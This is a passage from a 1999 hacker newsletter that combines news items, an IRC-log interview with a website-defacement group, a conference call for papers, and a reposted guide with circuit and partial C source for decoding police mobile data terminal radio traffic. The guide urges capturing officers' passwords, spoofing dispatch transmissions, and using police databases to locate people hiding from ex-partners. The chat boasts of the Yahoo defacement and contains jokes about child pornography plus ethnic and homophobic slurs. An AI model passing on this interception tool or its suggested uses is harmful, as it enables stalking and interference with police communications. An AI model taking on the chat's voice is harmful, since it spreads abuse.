pity that it has come not from governments recognising the futility of key escrow or from listening to the cogent arguments of civil libertarians, but merely in response to pressure from industry. From New Scientist, 6 March 1999 -o- Subscribe: mail majordomo@repsec.com with "subscribe isn". Today's ISN Sponsor: Internet Security Institute [www.isi-sec.com] @HWA 26.0 HRC's interview with Goat Security (IRC LOG) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ HRC is a new site (Hackers Resource Centre) that has premiered with the following "article" on Goat Security, the team that recently hacked Yahoo.. well a new group is out. its title: Goat Security. they are on #feed-the-goats on efnet. you may visit their page at goat.sphix.com. responsible for the Yahoo.com hack which is archived at hackernews.com this group is goin big and gettins some fame. They poke fun of Ez00ns, and B0rt. claiming they are interviewing them, and talking bout how they have anal sex among other queer things. and yes im even mentioned in the interviews. portrayed as a pedophiliac, and a homosexual. i do find this page extremely funny. it makes me laugh out loud!. the group consists of members from HcV, and Legion2000. theres a few others that dont belong to a group. the complete roster is on their homepage. for the full interview direct your attention here.(see below) on march 18th they also got des-con-systems.com as far as i know there isnt a archive of this hack. ech0 owned them again on March 21st. with mad elite props to goat security. well i wonder how long this group will go on. b0w to the goat. From HRC http://solarz.net/hrc/interviewedgoats.html Session Start: Sun Mar 21 22:09:24 1999 * Logging #goating to '#goating_990321.log' [Debris] one min [^Dreamer] k ÷÷÷ [join(#goating)] chemmy (lamur@modemcable207.162.mmtl.videotron.net) ÷÷÷ [mode(#goating)] Debris (+o chemmy) [chemmy] Dont you hate when you overwrite a window [Debris] lol [Debris] hold on [^Dreamer] k [Debris] Ok lets get started [^Dreamer] k [chemmy] I cant figure out MY FUCKING ERROR [Debris] chem [Debris] this is an interview [^Dreamer] 1) why was feed-the-goats founded? to annoy ppl? to inform ppl of ez00s? [^Dreamer] ez00ns rather [chemmy] Ha [chemmy] ^Dreamer, Because Debris had no life.. [Debris] Well basically me and ech0 started it in one boring day [Debris] hold on more coming [Debris] we were talking and ech0 told me how he sometimes makes a chan called #feed-the-goats [Debris] so, me and ech0 went there and asked chem if we could use one of his eggdrops and of course he said no at first [Debris] but then he changed his mind [^Dreamer] whyd you change your mind chem? [Debris] And ech0 got hcv people coming and stuff, and i thought if i turn this into a group i can be cool so here we are [chemmy] Cuz debby was my friend :> [Debris] =] [chemmy] And I mean I had lotsa so why not put one in a gay unpopular friend [chemmy] friend-chan [^Dreamer] ok so then the groups as most ppl know naturally hate/dislike/whatever ez00ns and b0rt and myself. so the group just kinda turned to pokin fun and makin fake interviews [^Dreamer] ? [Debris] me and ech0 seem to dislike everyone but ourselves and our friends [Debris] And we enjoy pissing off the world [Debris] and [Debris] well we think LoU is gay, and ez00ns is too [Debris] so why not tell everyone else [^Dreamer] understandable [chemmy] hehe [Debris] were just letting out our creative genius [^Dreamer] who drew the damn goat pics on the intro to the goat page? [Debris] um [Debris] heh [Debris] uh, we um..... found thaty [^Dreamer] i like em [Debris] actually it was me [^Dreamer] do you have plans of like world domination? cyber wars? killing anything? or just having some fun? [^Dreamer] i know this interview sucks dick, but youll have to forgive me for ive never interviewed anyone before [chemmy] What is this interview for? [Debris] Well our plans at this time are, to dominate the blowing up of toilets scene, and take out the cDc forever! [^Dreamer] so you hate the cDc (Cult of the Dead Cow???) [Debris] yes [Debris] they always ban me, all i wanted was some damn JUAREZ [^Dreamer] well i started a page called H.R.C. (solarz.net/hrc) and i plan on putting this up there as my first article.. [chemmy] ha ok [^Dreamer] was FtG responsible for the yahoo hack? [Debris] whos ftg? [chemmy] Just remember, Debris is crazy [chemmy] Ftg? [^Dreamer] Feed-the-Goats [Debris] We are goat security [^Dreamer] ok goat security (Gs ok?) [chemmy] So therefore yes [Debris] Yes, the yahoo hack, although denied by yahoo, did take place and was committed by members of Goat [^Dreamer] why did you target yahoo? any specific reason [chemmy] yahoo is gay [chemmy] I hate the name [Debris] like the altered index.htm said, We were looking for porn and found pictures of billy boy [^Dreamer] gotcha, well if ya ever want porn ive got mad pics (and no theres no child porn ) [Debris] well we only want child porn [Debris] and for the record, EHAP can suck my underaged cock [chemmy] and gr0wn grand pa's. [Debris] sorry RS... [^Dreamer] anyone else youd like to send your deepest regards too? just what groups/ppl do u like? [Debris] yes [^Dreamer] i understand that you hate dalnet, is this true and y? [^Dreamer] am gettin ahead of myself [Debris] I dont hate dalnet but i never go on it [chemmy] I am in X-Forces so therefore I LIKE ALL MY FRIEEEEEEENDS! [^Dreamer] does x-forces have a homepage? [Debris] ya, werd to #freaks, m1les, X-forces, Script kiddies inc (which im in and some texts i wrote are there) and #webfringe [chemmy] x-forces.com but it sucks [^Dreamer] alright. [chemmy] We're actually doing a new design (BTW it sucked cuz I wanna implicated it in =) ) [Debris] some stuff i wrote is at www.nuclearbomb.com/ski [chemmy] And the x-forces serv hosts goat's page [chemmy] So if debris tries anals attempts on me [chemmy] It drops [^Dreamer] haha [^Dreamer] you guys are just too crazy [Debris] shutup you stupid seperatist [chemmy] DIE CANADA DIE [chemmy] Yes [Debris] DIE FRENCH WHORE [^Dreamer] anything youd like to end in closing? [chemmy] Yes [Debris] yes [^Dreamer] shoot [chemmy] WE WILL OWN THE UNIVERSE@&*^#@ [Debris] my turn [chemmy] I plan on dominating the world [Debris] IL MAY BE GOING TO JAIL TOMORROW SO...... FREE I-L, FREE GOAT! [^Dreamer] goin to jail for? [Debris] assault [^Dreamer] o one more thing [Debris] what [^Dreamer] what was the url of that site that goat security owned tongiht? [Debris] that wasnt goat [Debris] that was opt1k [chemmy] des-con-systems.com [chemmy] Ya [Debris] opt1k aint no goat [^Dreamer] yes. what was that site origianlly? [Debris] goat owned that site first [Debris] 3 days ago [^Dreamer] and y did ya target it? [chemmy] Ask opt1k [Debris] because it was easy, and our premade scripts supported irt [chemmy] And note that tomorrow or day after me & ech0 release a nice prog [^Dreamer] where can we get the prog? [Debris] no its not [Debris] itsa gay prog, your making so ken will hump you [chemmy] We'll release it to friends first then public if any site wants it :> [chemmy] No deb you jealous you fuck! [chemmy] I'm gonna haxor you with it [chemmy] CUZ EYE AM A SCRIPT KIDDIE [^Dreamer] you can put it no solarz.net/hrc [chemmy] Okay [chemmy] We will [Debris] it will be released on goat first [^Dreamer] alright then [Debris] goat.sphix.com [chemmy] Shut up deb you aint c0ding it [chemmy] =) [chemmy] Dreamer how old are you? [^Dreamer] what will this prog do? [Debris] im gunna code something better thab it [chemmy] Debris, lol [Debris] itll will auto phf [^Dreamer] what os'es suppoort it [^Dreamer] im 18 [Debris] goat0s [chemmy] It will detect and report ONLY exploitable services..not only the open one [chemmy] And auto remote exploit it [chemmy] Tested on linux for now [^Dreamer] sounds good for lazy ppl [Debris] tested? [Debris] ahaha [Debris] it cant even connect yet [chemmy] No, sounds good for script kiddies [Debris] duh whatsa socket [chemmy] Debris, DID I SAY IT WAS FINISHED? [Debris] YES [chemmy] NO [chemmy] I SAID TOMORROW OR DAY AFTER [chemmy] YEW CUNT [Debris] shut the fuck up you worthless piece of shit [chemmy] I'm gonna slap a dick in your face you goat whore [Debris] UDP KIDDIE MUASHASHASHAAHS [^Dreamer] ok am done with you [Debris] GOOD [^Dreamer] thanks guys i appreciate it [chemmy] lol [chemmy] ok ÷÷÷ [part(#goating)] Debris (~Debris@ppp-5800-02b-3102.mtl.total.net) [chemmy] Cya ÷÷÷ [part(#goating)] ^Dreamer (barry@ts0800.hhs.net) Session Close: Sun Mar 21 22:33:25 1999 @HWA 27.0 Year 2000 Network and Distributed System Security ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ForwardedFrom: "Jay D. Dyson" <jdyson@techreports.jpl.nasa.gov> Courtesy of Cryptography List. Originally From: "David M. Balenson" <balenson@tislabs.com> C A L L F O R P A P E R S The Internet Society Year 2000 Network and Distributed System Security Symposium (NDSS 2000) Catamaran Resort Hotel, San Diego, California February 2-4, 2000 IMPORTANT DATES: Paper and panel submissions due: June 16, 1999 Author notification: August 17, 1999 Final versions of papers and panels due: October 15, 1999 GOAL: This symposium aims to foster information exchange among researchers and practitioners of network and distributed system security services. The intended audience includes those who are interested in practical aspects of network and distributed system security, with the focus on actual system design and implementation, rather than theory. A major goal of the symposium is to encourage and enable the Internet community to apply, deploy, and advance the state of available security technology. The proceedings of the symposium will be published by the Internet Society. Submissions are solicited for, but are not limited to, the following topics: * Secure Electronic Commerce, e.g., payment, barter, EDI, notarization/timestamping, endorsement and licensing. * Intellectual Property Protection: protocols, schemas, implementations, metering, watermarking, other forms of rights management. * Implementation, deployment and management of network security policies. * Integrating Security in Internet protocols: routing, naming, TCP/IP, multicast, network management, and, of course, the Web. * Attack-resistant protocols and services. * Special problems and case studies: e.g. interplay and tradeoffs between security and efficiency, usability, reliability and cost. * Security for collaborative applications and services: tele- and video-conferencing, groupwork, etc. * Fundamental services: authentication, data integrity, confidentiality, authorization, non-repudiation, and availability. * Supporting mechanisms and APIs: key management and certification, revocation, audit trails and accountability. * Integrating security services with system and application security facilities and protocols, e.g., message handling, file transport/access, directories, time synchronization, data base management, boot services, mobile computing. * Security for emerging technologies -- sensor networks, specialized testbeds, wireless/mobile (and ad hoc) networks, personal communication systems, and large heterogeneous distributed systems. * Intrusion Avoidance, Detection, and Response: systems, experiences and architectures * Network Perimeter Controls: firewalls, packet filters, application gateways. BEST PAPER AWARD: A best paper award will be introduced at NDSS 2000. This award will be presented at the symposium to the authors of the best paper to be selected by the program committee. GENERAL CHAIR: Stephen Welke, Trusted Computer Solutions PROGRAM CO-CHAIRS: Gene Tsudik, USC / Information Sciences Institute Avi Rubin, AT&T Labs - Research TUTORIAL CHAIR: Doug Maughan, NSA / DARPA PROGRAM COMMITTEE: Bill Cheswick, Lucent Bell Labs Marc Dacier, IBM Research Zurich Jim Ellis, CMU / CERT Carl Ellison, Intel Ed Felten, Princeton Virgil Gligor, UMD College Park Thomas Hardjono, Bay Networks/Nortel Cynthia Irvine, Naval Postgraduate School Charlie Kaufman, Iris Associates Dave Kormann, AT&T Labs - Research Hugo Krawczyk, Technion and IBM Carl Landwehr, Naval Research Lab Doug Maughan, NSA / DARPA Gary McGraw, Reliable Software Technologies Sandra Murphy, TIS Labs at Network Associates Clifford Neuman, USC / Information Sciences Institute Paul Van Oorschot, Entrust Sami Saydjari, DARPA ISO David Wagner, UC Berkeley Bennet Yee, UC San Diego LOCAL ARRANGEMENTS CHAIR: Thomas Hutton, San Diego Supercomputer Center PUBLICATIONS CHAIR: John Kochmar, SEI PUBLICITY CHAIR: David Balenson, TIS Labs at Network Associates LOGISTICS CHAIR: Carla Rosenfeld, Internet Society REGISTRATIONS CHAIR Beth Strait, Internet Society SUBMISSIONS: The committee invites both technical papers and panel proposals. Technical papers should be at most 20 pages long. Panel proposals should be at most two pages and should describe the topic, identify the panel chair, explain the format of the panel, and list three to four potential panelists. Technical papers will appear in the proceedings. A description of each panel will appear in the proceedings, and may -- at the discretion of the panel chair -- include written position statements from the panelists. Each submission must contain a separate title page with the type of submission (paper or panel), the title or topic, the names of the author(s), organizational affiliation(s), telephone and FAX numbers, postal addresses, e-mail addresses, and must specify the contact author in case of multi-author submissions. The names of authors, affiliations, and other identifying information should appear only on the separate title page. Submissions must be received by June 16, 1999, and must be made via electronic mail in either PostScript or ASCII format. If the committee is unable to print a PostScript submission, a hardcopy will be requested. Therefore, PostScript submissions must arrive well before the deadline. All submissions and program related correspondence (only) should be directed to the program chair: Gene Tsudik USC Information Sciences Institute 4676 Admiralty Way Marina Del Rey, CA 90292 Email: ndss00@isi.edu TEL: +1 (310) 822-1511 ext 329 FAX: +1 (310) 823-6714 Dates, final call for papers, advance program, and registration information will be available soon at the URL: httl//www.isoc.org/ndss2000. Each submission will be acknowledged by e-mail. If acknowledgment is not received within seven days, please contact the program chair as indicated above. Authors and panelists will be notified of acceptance by August 17, 1999. Instructions for preparing camera-ready copy for the proceedings will be sent at that time. The camera-ready copy must be received by October 15, 1999. - ---------------------------------------------------------------------- David M. Balenson, Cryptographic Technologies Group TIS Labs at Network Associates, Inc. 3060 Washington Road, Suite 100, Glenwood, MD 21738 USA balenson@tislabs.com; 443-259-2358; fax 301-854-4731 pgp fingerprints FD53 918E 097A 2579 C1A8 34F8 E05D E74F AC1D E184 (DSS/DH) D43B 565B 2C0E 90F4 38BB D9EA 1454 3264 (RSA) @HWA 28.0 Billionaires social security numbers listed on net (Yes Gates is here too) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC still listing Social Security IDs By Courtney Macavinta Staff Writer, CNET News.com March 23, 1999, 4:00 a.m. PT The Social Security numbers of many billionaire executives, including Bill Gates, are still listed on the Internet nearly two years after the Securities and Exchange Commission ceased collecting them on certain public forms. High-tech moguls have voluntarily included their Social Security numbers in filings documenting their stock ownership that were later made freely available on the SEC's Web site, as CNET News.com reported in 1997. Fearing that the Net made it too easy to exploit personal information, the SEC revised its rules in June 1997 and said it would no longer accept Social Security numbers on those forms. Nonetheless, News.com found old filings--and in some cases documents filed after the rule change--that still include the numbers of corporate officers at public companies. If the nine-digit numbers fall into the wrong hands, they can be used to obtain such information as current and previous addresses, employment histories, or credit reports--which, in turn, can unlock other private data such as bank account numbers. In addition to Microsoft's chairman Gates and cofounder Paul Allen, Intel cofounder Gordon Moore and Gateway founder Ted Waitt are among the members of the billionaire club whose Social Security numbers remain easily accessible through the SEC's EDGAR database. The Social Security numbers of Gates, Allen, and Moore were found on forms filed before the summer of 1997, but Waitt's number was accepted on a February 1998 filing, after the SEC changed its policy. Social Security numbers were created to track earnings and Social Security benefits. But the unique numbers are now used for much more, leading privacy organizations to argue that the SEC has a moral obligation to stop publishing them on the Net. "The SSN is the way that everybody's financial records are kept together," said Jodie Beebe, a spokesman for the Privacy Rights Clearinghouse. "If somebody gets a copy of your SSN, they can get utilities hooked up, rack up several credit cards, establish employment--and your credit report can be ruined," she added. "Identity theft can wreak havoc in your life." Microsoft would not comment about the exposure of Gates's Social Security number, though privacy concerns are nothing new to the company. The software giant and Intel--its chipmaking partner in the Wintel PC juggernaut--found themselves at the center of recent computer privacy concerns when it was revealed that their products could be used to track Net users' activities. In fact, anxiety over the increasing loss of privacy in the information age is at an all-time high, with many lawmakers and consumer advocates calling for industry and government to more closely guard personally identifiable information, which is solicited by Web sites, compiled by database creators or resold in digital format. The SEC is also worried about inadvertently playing a part in identity theft or other privacy breaches. "With the growth of the EDGAR database, and its availability to millions of viewers on the commission's Web site, the commission is concerned that these numbers are too readily available," the SEC stated in its June 1997 rule change. "The usefulness of Social Security numbers filers voluntarily provide on these forms is outweighed by the risk of misuse created by the disclosure of those numbers." Still, the SEC has no plans to remove documents from its online archive that include the numbers, spokesman John Heine said yesterday. "We can't alter those forms. They are a matter of public record," he said. @HWA 29.0 The Doghouse -- Motorola's MDC-4800 Police Data Terminal ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From Cryptogram I'd grab this software before it becomes too well known and pulled from the site ... - Ed There's a Windows program that decodes the police car mobile data terminal transmissions. If you thought listening in on police radio frequencies was interesting, you should see what comes over on those data transcripts. Motorola's "encryption" wasn't designed for privacy, it's more like a checksum for transmission integrity. Basically, it's XOR. The software is free, although there is this helpful notice on the Web site: "Decoding MDT transmissions may be illegal in some countries, you may want to check the laws for your country before using this program." http://www.geocities.com/ResearchTriangle/Facility/7646/ From the site; How to decode the MDC 4800 Protocol Greetings one and all, Have you ever lusted to decode Mobile Data Terminal (MDT) tranmissions? Have you ever wanted to see the same NCIC and motor vehicle information that law enforcement officers see? Have you ever wanted to see what officers send to each other over "private" channels? And all this with an interface you can build with only a few dollars worth of parts from your local radio shack? If so this posting might be your rendevous with destiny. The tail end of this posting includes the source code of a program that decodes and displays MDT messages. It stores roughly 30k of messages in a buffer and then writes the whole buffer to a file called "data.dat" before terminating. The program may be interrupted at any time by pressing any key (don't use control-c) at which point it writes the partially filled buffer to "data.dat". This program only works for systems built by Motorola using the MDC4800 tranmission protocol. This accounts for a large fraction of public service MDT systems as well other private systems. The existence of this program is ample evidence that Motorola has misrepresented its MDT systems when it marketed them as a secure means of communcications. The interested reader will soon discover that these systems do not use any form of encryption. Security concerns instead have been dealt with by using a code. "And what might this code be called?" asks the reader. The code turns out to be plain ASCII. What follows is a brief description of how the program and the MDC4800 protocol work. If you don't understand something go to your local library and check out a telecommunications theory book. 1. The raw transmission rate is 4800 baud. The program's interrupt service routine simply keeps track of the time between transitions. If you're receiving a perfect signal this will be some multiple of 1/4800 seconds which would then give you how many bits were high or low. Since this is not the best of all possible worlds the program instead does the following: transitions are used to synchronize a bit clock. One only samples whenever this clock is in the middle of the bit to produce the raw data stream. This greatly reduces jitter effects. 2. Whenever a tranmitter keys up the MDC4800 protocol calls for bit synchronization (a sequence of 1010101010101010....). In the program this will result in receive bit clock synchronization. There is no need to specifically look for the bit sync. 3. Look for frame synchronization in raw bit stream so that data frames can be broken apart. Frame synchronization consists of a 40 bit sequence : 0000011100001001001010100100010001101111. If this sequence is detected (or 35 out of 40 bits match up in the program) the system is idling and the next 112 bit data block is ignored by the program. If the inverted frame sync is detected one immediately knows that 112 bit data blocks will follow. 4. Receive the 112 bit data block and undo the bit interleave. This means that one must reorder the bits in the following sequence : {0,16, 32,48,64,80,96,1,17,33,49,65,81,97,2,18,34,...} if the orignal sequence were received as {0,1,2,3,4,5,6,7,8,...}. 5. Check the convolutional error correcting code and count the number of errors. The error correcting code is rate 1/2 which means we will be left with 56 data bytes. The encoder is constructed so that the output consists of the original data bits interspersed with error correcting code. The generating polynomial used is : 1 + X^-1 + X^-5 + X^-6 Whenever an error is detected a counter is incremented. An attempt is made to correct some errors by finding the syndrome and looking for the bogus bit. 6. Keep receiving 112 bit data blocks until either a new frame sync is found or two consecutive data blocks have an unacceptably large number of errors. 7. Each data block consists of six data bytes; the last 8 bits are status bits that are simply ignored. The program shows the data in two columns - hexadecimal and ASCII. This data is kept in a buffer and is written to the file "data.dat" when the program terminates. 8. What the program doesn't do: As a further check on the data there can be CRC checks. This varies from protocol to protocol so this program does not implement the CRC checks. Nonetheless, it is a relatively trivial matter to find the generating polynomial. The addresses, block counts, and message ID numbers are also quite easy to deduce. As you can see, there is no encryption. The bit interleave and the error correcting coding are there solely to insure the integrity of the ASCII data. Since any moron could have figured this stuff out from scratch one could argue that MDTs do not use "...modulation parameters intentionally witheld from the public". Therefore the Electronic Communications Privacy Act may not prohibit receiving MDT tranmissions. However, consult your attorney to make sure. The total disregard for security will no doubt annoy countless Motorola customers who were assured that their MDT systems were secure. Since Federal law states that NCIC information must be encrypted your local law enforcement agency might be forced to spend millions of dollars to upgrade to a secure MDT system - much to the delight of Motorola and its stockholders. Cynics might conclude that the release of a program like this is timed to coincide with the market saturation of existing MDT systems. Also, this program is completely free and it had better stay that way. What's to prevent you from adapting this into a kit and selling it from classified ads in the back of Nuts and Volts? Nothing. But take a look at Motorola's patents sometime. You'll notice that this program does things that are covered by a shitload of patents. So any attempt to take financial advantage of this situtation will result in utter misery. Please keep the following in mind: this program only works with the first serial port (COM1). If your mouse or modem is there too bad. If you don't like this rewrite the program. ------------------------------------------------------------------------ What equipment do I need? RADIO SCANNER: A scanner that can receive 850-869 MHz. For those of you who don't know, this is the band where most business and public service trunked radio systems can be found along with the mobile data terminal transmissions. Chances are excellent that if your local authorities have a motorola trunked radio system and mobile data terminals that this is the frequency band in use. Very rarely will one find mobile data terminals in other frequency bands. Now for the fun part - your scanner should probably be modified to allow you to tap off directly from the discriminator output. If you wait until the signal has gone through the radio's internal audio filtering the waveform will likely be too heavily distorted to be decoded. This is exactly the same problem that our friends who like to decode pager transmissions run into - some of them have claimed they can only decode 512 baud pager messages using the earphone output of their scanner. These mobile data terminal messages are 4800 baud so I don't think you have a snowball's chance in hell without using the discriminator output. If you don't know where to begin modifying your scanner you might want to ask those who monitor pagers how to get the discriminator output for your particular radio. COMPUTER/SCANNER INTERFACE Those of you who have already built your interface for decoding pager messages should be able to use that interface without any further ado. For those starting from scratch - you might want to check out packages intended for pager decoding such as PD203 and the interfaces they describe. The following excerpt gives an example of a decoder that should work just fine (lifted out of the PD203 POCSAG pager decoder shareware documentation): > > 0.1 uF |\ +12v > ---||-----------------------|- \| > AF IN | |741 \ > ---- | | /--------------------- Data Out > | \ ------|+ /| | CTS (pin 5/8) > | / 100K | |/-12v | or DSR (pin 6/6) > | \ | | > GND / ----/\/\/\---- GND ------ GND (pin 7/5) > | | 100K > | \ N.B. Pin Numbers for com port are > GND / given as x/y, where x is for a 25 > \ 10K way, y for a 9 way. > / > | > GND > This needs a mod - It is far to deaf as this. Remove the 10k resistor and replace it with a 470 ohm preset and 560 ohm fixed in series. Audio level is critical in the pd203 that he refers to ! - dg > The above circuit is a Schmitt Trigger, having thresholds of about +/- 1v. balls - its nearer to 3 to 4 volts p-p! (dg) > If such a large threshold is not required, eg for a discriminator output, > then the level of positive feedback may be reduced by either reducing the > value of the 10K resistor or by increasing the value of the 100K feedback > resistor. > > The +/- 12v for the op-amp can be derived from unused signals on the COM > port (gives more like +/- 10v but works fine !):- > > > TxD (2/3) --------------|<-------------------------------------- -12v > | | > RTS (4/7) --------------|<-------- GND - - > | | _ + 10uF > --------->|------- - - | > Diodes 1N4148 | - + 10uF GND > | | > DTR (20/4) ------------->|-------------------------------------- +12v > If I were building this circuit I would strongly suggest tying the non-inverting (+) input of the op-amp to ground since you are working directly with the discriminator output and don't need a Schmitt trigger. All these parts or equivalents are easily available (even at your local Radio Shack which stocks the finest collection of components that have failed the manufacturer's quality control checks and supported by a sales staff that's always got the wrong answers to your questions). Also: DO NOT use the RI (ring indicator) as an input to the computer. ------------------------------------------------------------------------- How do I check things? As a first step, I would get a package such as PD203 and use it to decode a few pages. If you can get that working you know that that your interface circuit is functioning correctly. If you are in a reasonably sized town you might be part of the ardis network. The ardis network is a nationwide commercial mobile data terminal network where one can send/receive E-mail messages from one's portable computer. It has been exclusively assigned the frequency of 855.8375 MHz. Therefore, if you can hear digital bursts on this frequency you are basically guarranteed that these are MDC4800 type messages. You should be able to get stuff popping up on your screen although a lot of the messages will not be plain english. If your interface works but you can't seem to get any messages on the screen for a channel you know is a Motorola MDT system then it might be possible that your scanner/interface is putting out data with the polarity reversed. To check for this run the program with a command line arguement. When it runs you should an initial "Polarity reversed" message and hopefully then things will work out for you. Other than that: if this program doesn't work pester someone else who has got it working. Don't bother pestering the author(s) of this posting; the shit(s) aka "she/he/it (s)" are afraid of a thousand lawyers from Motorola descending like fleas to infest their pubic hair and accordingly have decided to remain forever anonymous. No doubt someone on the usenet who sees this post will know what to do with this program and also hopefully rewrite into a more user friendly form. When you do please don't forget to release the source code. ------------------------------------------------------------------------- Future projects/nightmares you might want to think about: Certain MDT systems embed formatting information in the text in the form of ESC plus [ plus a few more bytes. Someone might want to decode these on the fly and format the output so it looks exactly the same way as the user sees it. Make it so that this program works with com ports other than COM1. Make it user friendly? Enlarge the data buffer from the current 30k. Give the output data file an unique name each time the program is run instead of "data.dat". How about sorting through the past traffic so that you only see traffic to a specified user? The program does not cut data blocks off in the display but it might add an extra one or two (which will display as all zeroes). Someone might want to make all those zeroes be shown as blanks instead. Write some real instructions. Now the more ambitous stuff: Are you half-way competent with RF engineering? Then listen in to the tranmissions from the mobile units back to the base station. That way you get everyone's password and user IDs as they log on to the MDT system. By this point you will no doubt have been able to figure out all of the appropriate communications protocols so you should think about getting your own transmitter up and running along with the necessary program modifications so that you can transmit MDT messages. The required transmitter can be very simple - for example, those masocists who want to start from scratch might want to special order an appropriate crystal (pulling the frequency with the computer's tranmit signal), building a frequency multiplier chain, and adding a one watt RF amplifier to top it all off (see the appropriate ARRL publications for more information on radio techniques). Now you can log in and look at the criminal records and motor vehicle information on anybody you can think of. Find out what your neigbors are hiding. Find out who that asshole was that cut you off downtown. Find out where your former girl/boy friend is trying to hide from you. And on and on... Those with simpler tastes might want to simply transmit at the base station's frequency to any nearby MDT terminal - now you too can dispatch your local law enforcement agencies at the touch of your fingers!!! See your tax dollars at work tearing apart every seam of your neighbor's house. Or create strife and dissension in your local law enforcement agency as more and more officers come out of the closet using their MDTs trying to pick up fellow officers. There are municipalities that have put GPS receivers on all of their vehicles. Should it happen that the information is sent back over one of these networks you could have your computer give you a real-time map showing the position of every vehicle and how far away they are from you. Extend your knowledge to other data networks. Here you will want to look at the RAM mobile data network. It uses the MOBITEX protocol which is really easy to find information on. Since it is an 8 kilobaud GMSK signal there is a decent chance that you can use the interface described here. This transmission mode demmands much more from your equipment than MDT tranmissions. At the very least you must be much more careful to make sure you have adequate low frequency response. Despite this it is possible to receive and decode MOBITEX transmissions with a simple op-amp circuit! This just goes to show you what drivelling bullshit RAM's homepage is filled with - they explain in great detail how hackers will never be able to intercept user's radio tranmissions (incidentally explaining how to decode their tranmissions). The necessary program will be the proverbial exercise left for the reader. For better performance buy a dedicated MOBITEX modem chip and hook it up to your computer. ----------------------------------------------------------------------- A few words about the program: Remember - you must have your decoder hooked up to COM1. The RTS line will be positive and the DTR line negative but if you built the decoder with a bridge rectifier you really don't have to worry about their polarity. Stop the program by punching any key; don't use control-c or control-break! If you must reverse polarity run the program with any command line arguement (example: type in "mdt x" at the command line if your program is mdt.exe). You should then see the "Polarity Reversed." message pop up and hopefully things will then work. As far as compiling this - save the latter portion of this posting (the program listing) and feed it to a C compiler. Pretty much any C compiler from Borland should work. If you (Heaven Forbid) use a Microsoft C compiler you might need to rename some calls such as outport. Follow any special instructions for programs using their own interrupt service routines. This program is not object oriented. It also does not want anything whatsoever to do with Windows. Please don't even think about running this program under Windows. Finally, here it is: ---------------------- C u t H e r e ! ! ! -------------------------- /* start of program listing */ #include <stdio.h> #include <conio.h> #include <dos.h> #include <math.h> /* Purpose of program: receive messages using the Motorola MDC4800 */ /* protocol and show them on the screen */ /* */ /* WARNING TO ALL : This program is free. Please distribute and modify*/ /* this program. I only request that you always include the source */ /* code so that others may also learn and add improvements. The */ /* status of this program at the time of the original release is : */ /* it doesn't have much in the way of a user interface or options but */ /* it should work if you follow the procedure in the text file. Don't */ /* expect any sort of support (you get what you pay for - nothing in */ /* this case). Finally, here's a special message to all of you who */ /* might have the urge to try to make money with this information: */ /* I know where you live. I will shave your pets and pour rubbing */ /* alcohol all over them (unless said pet happens to be a Rottweiler).*/ /* I will have sex with your wife while you off at work; on the rare */ /* occasions when you have sex with your wife she will in the throes */ /* of passion cry not your name but mine. I will sell drugs to the */ /* demented spawn you refer to as your children. And if that's not */ /* enough for you let a thousand lawyers from motorola descend on you */ /* and pound your fat rear end so far into the ground that it finally */ /* sees daylight again somewhere in Australia. */ /* */ /* */ /* General tidbits (a few of those "Why were things done this way */ /* questions). */ /* 1. Why is captured data kept in an array and only written to a */ /* disk file at the very end? Because disk access seems unreliable */ /* when so much time is taken up by the background interrupt service */ /* routine. */ /* 2. Why is the array storing this so small? Because yours truly was */ /* too damn lazy to use a pointer and allocate a huge chunk of memory.*/ /* (Hint for those of you who would like to improve this. */ /*--------------------------------------------------------------------*/ /* global variables */ int lc=0; char fob[30000];/* output buffer for captured data to be sent to disk */ int foblen=29900; int fobp=0; /* pointer to current position in array fob */ char ob[1000]; /* output buffer for packet before being sent to screen */ int obp=0; /* pointer to current position in array ob */ static unsigned int buflen= 15000; /* length of data buffer */ static volatile unsigned int cpstn = 0; /* current position in buffer */ static unsigned int fdata[15001] ; /* frequency data array */ void interrupt (*oldfuncc) (); /* vector to old com port interrupt */ /**********************************************************************/ /* this is serial com port interrupt */ /* we assume here that it only gets called when one of the status */ /* lines on the serial port changes (that's all you have hooked up). */ /* All this handler does is read the system timer (which increments */ /* every 840 nanoseconds) and stores it in the fdata array. The MSB */ /* is set to indicate whether the status line is zero. In this way */ /* the fdata array is continuously updated with the appropriate the */ /* length and polarity of each data pulse for further processing by */ /* the main program. */ void interrupt com1int() { static unsigned int d1,d2,ltick,tick,dtick; /* the system timer is a 16 bit counter whose value counts down */ /* from 65535 to zero and repeats ad nauseum. For those who really */ /* care, every time the count reaches zero the system timer */ /* interrupt is called (remember that thing that gets called every */ /* 55 milliseconds and does housekeeping such as checking the */ /* keyboard. */ outportb (0x43, 0x00); /* latch counter until we read it */ d1 = inportb (0x40); /* get low count */ d2 = inportb (0x40); /* get high count */ /* get difference between current, last counter reading */ tick = (d2 << 8) + d1; dtick = ltick - tick; ltick = tick; if ((inportb(0x3fe) & 0xF0) > 0) dtick = dtick ^ 0x8000; else dtick = dtick & 0x3fff; fdata[cpstn] = dtick; /* put freq in fdata array */ cpstn ++; /* increment data buffer pointer */ if (cpstn>buflen) cpstn=0; /* make sure cpstn doesnt leave array */ d1 = inportb (0x03fa); /* clear IIR */ d1 = inportb (0x03fd); /* clear LSR */ d1 = inportb (0x03fe); /* clear MSR */ d1 = inportb (0x03f8); /* clear RX */ outportb (0x20, 0x20); /* this is the END OF INTERRUPT SIGNAL */ /* "... that's all folks!!!!" */ } void set8250 () /* sets up the 8250 UART */ { static unsigned int t; outportb (0x03fb, 0x00); /* set IER on 0x03f9 */ outportb (0x03f9, 0x08); /* enable MODEM STATUS INTERRUPT */ outportb (0x03fc, 0x0a); /* push up RTS, DOWN DTR */ t = inportb(0x03fd); /* clear LSR */ t = inportb(0x03f8); /* clear RX */ t = inportb(0x03fe); /* clear MSR */ t = inportb(0x03fa); /* clear IID */ t = inportb(0x03fa); /* clear IID - again to make sure */ } void set8253() /* set up the 8253 timer chip */ { /* NOTE: ctr zero, the one we are using*/ /* is incremented every 840nSec, is */ /* main system time keeper for dos */ outportb (0x43, 0x34); /* set ctr 0 to mode 2, binary */ outportb (0x40, 0x00); /* this gives us the max count */ outportb (0x40, 0x00); } /****************************************************************/ int pork(int l) { static int 